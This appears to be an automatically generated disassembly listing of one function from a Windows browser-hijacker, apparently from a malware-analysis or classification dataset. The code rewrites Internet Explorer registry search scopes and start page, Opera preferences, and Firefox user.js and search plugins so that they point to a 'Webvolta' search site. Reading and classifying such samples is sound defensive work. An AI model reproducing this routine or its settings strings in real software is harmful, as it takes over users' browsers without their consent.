Function at 0x402af3
Capabilities:
Create directory
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1a74
call fcn.0040d080
push ebx
push esi
push edi
xor esi, esi
inc esi
push esi
push dword [0x41f8c4]
mov edi, 0x80000001
push str.Start_Page
push str.SoftwareMicrosoftInternet_ExplorerMain
push edi
mov dword [ebp - 0x20], str.DisplayName
mov dword [ebp - 0x1c], 0x40e79c
mov dword [ebp - 0x18], str.FaviconPath
mov dword [ebp - 0x14], str.FaviconURLFallback
mov dword [ebp - 0x10], str.SuggestionsURLFallback
mov dword [ebp - 8], esi
call fcn.0040715c
add esp, 0x14
test eax, eax
jne 0x402b52
and dword [ebp - 8], eax
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push esi
push 0
push str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push edi
call ebx
test eax, eax
jne 0x402bcd
lea eax, [ebp - 0x1270]
push eax
push str.DefaultScope
lea esi, [ebp - 4]
call fcn.0040707c
test eax, eax
pop ecx
pop ecx
je 0x402bcd
lea eax, [ebp - 0x1a70]
mov esi, str.SoftwareMicrosoftInternet_ExplorerSearchScopes_
push eax
mov edx, esi
call fcn.00405a2e
lea ecx, [ebp - 0x1270]
lea eax, [ebp - 0x1a70]
call fcn.00405a0a
lea eax, [ebp - 0xa70]
push eax
mov edx, esi
call fcn.00405a2e
pop ecx
pop ecx
mov ecx, str.0633EE93_D776_472f_A0FF_E1416B8B2E3B
lea eax, [ebp - 0xa70]
call fcn.00405a0a
lea eax, [ebp - 4]
push eax
push 1
xor esi, esi
push esi
lea eax, [ebp - 0x1a70]
push eax
push edi
mov dword [ebp - 4], esi
call ebx
test eax, eax
jne 0x402c1b
lea eax, [ebp - 0x1270]
push eax
push str.DisplayName
lea esi, [ebp - 4]
call fcn.0040707c
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x402c1b
mov eax, str.Webvolta
lea edx, [ebp - 0x1270]
call fcn.00405984
test eax, eax
je 0x402cd5
and dword [ebp - 4], 0
test esi, esi
je 0x402cd9
cmp dword [ebp - 4], 5
jge 0x402c93
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
push 1
push 0
lea eax, [ebp - 0x1a70]
push eax
push edi
call ebx
test eax, eax
je 0x402c4b
xor esi, esi
jmp 0x402c8c
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x20]
lea ecx, [ebp - 0x1270]
push ecx
push eax
lea esi, [ebp - 0xc]
call fcn.0040707c
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x402c8c
push 1
lea eax, [ebp - 0x1270]
push eax
mov eax, dword [ebp - 4]
push dword [ebp + eax*4 - 0x20]
lea eax, [ebp - 0xa70]
push eax
push edi
call fcn.0040715c
add esp, 0x14
mov esi, eax
inc dword [ebp - 4]
test esi, esi
jne 0x402c27
test esi, esi
je 0x402cd9
push 1
push str.Webvolta
push str.DisplayName
lea eax, [ebp - 0x1a70]
push eax
push edi
call fcn.0040715c
add esp, 0x14
test eax, eax
je 0x402cd9
push 1
push str.http:__webvolta.ru_search.php_qsearchTerms
push 0x40e79c
lea eax, [ebp - 0x1a70]
push eax
push edi
call fcn.0040715c
add esp, 0x14
mov esi, eax
test esi, esi
jne 0x402cdd
and dword [ebp - 8], 0
mov edi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov ebx, 0x400
push ebx
lea eax, [ebp - 0xa70]
push eax
push str._APPDATA_Opera
call edi
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0xa70]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x402d5d
test byte [ebp - 0x270], 0x10
je 0x402d5d
lea eax, [ebp - 0x1270]
push eax
mov edx, str._User_Prefs__nStartup_Type2_nHome_URL
call fcn.00405a2e
mov ecx, dword [0x41f8c4]
lea eax, [ebp - 0x1270]
call fcn.00405a0a
mov esi, eax
mov dword [esp], str._SystemRoot_System32operaprefs_fixed.ini
call fcn.004070b9
test eax, eax
pop ecx
jne 0x402d54
and dword [ebp - 8], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
lea eax, [ebp - 0xa70]
push eax
mov esi, str._APPDATA_MozillaFirefoxProfiles_
push esi
call edi
mov ecx, str..default
lea eax, [ebp - 0xa70]
call fcn.00405a0a
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0xa70]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x402ea6
test byte [ebp - 0x270], 0x10
je 0x402ea6
lea eax, [ebp - 0xa70]
push eax
mov edx, esi
call fcn.00405a2e
lea ecx, [ebp - 0x244]
lea eax, [ebp - 0xa70]
call fcn.00405a0a
mov ecx, str.user.js
call fcn.00405a0a
lea eax, [ebp - 0x1270]
push eax
mov edx, str.user_pref__dom.disable_window_status_change___false___nuser_pref__startup.homepage_override_url_____s____nuser_pref__browser.startup.page___1___nuser_pref__browser.startup.homepage_____s____nuser_pref__browser.search.selectedEngine____Webvolta___
call fcn.00405a2e
mov esi, dword [0x41f8c4]
lea eax, [ebp - 0x1270]
push esi
push eax
call fcn.00405a46
lea eax, [ebp - 0x1270]
push esi
push eax
call fcn.00405a46
lea eax, [ebp - 0xa70]
push eax
lea esi, [ebp - 0x1270]
call fcn.004070b9
add esp, 0x1c
test eax, eax
jne 0x402e20
and dword [ebp - 8], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
push ebx
lea eax, [ebp - 0xa70]
push eax
push str._APPDATA_MozillaFirefoxProfiles_
call edi
lea ecx, [ebp - 0x244]
lea eax, [ebp - 0xa70]
call fcn.00405a0a
mov ecx, str._searchplugins
call fcn.00405a0a
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
mov ecx, str.webvolta.xml
lea eax, [ebp - 0xa70]
call fcn.00405a0a
test esi, esi
jne 0x402e82
cmp edi, 0xb7
jne 0x402e96
lea eax, [ebp - 0xa70]
push eax
mov esi, str._SearchPlugin_xmlns_http:__www.mozilla.org_2006_browser_search____n_ShortName_Webvolta__ShortName__n_Description_Webvolta_search.__Description__n_InputEncoding_windows_1251__InputEncoding__n_Url_type_text_html__method_GET__template_http:__webvolta.ru_search.php____n_Param_name_q__value_searchTerms____n__Url__n__SearchPlugin_
call fcn.004070b9
pop ecx
mov esi, eax
test esi, esi
jne 0x402e9d
and dword [ebp - 8], esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret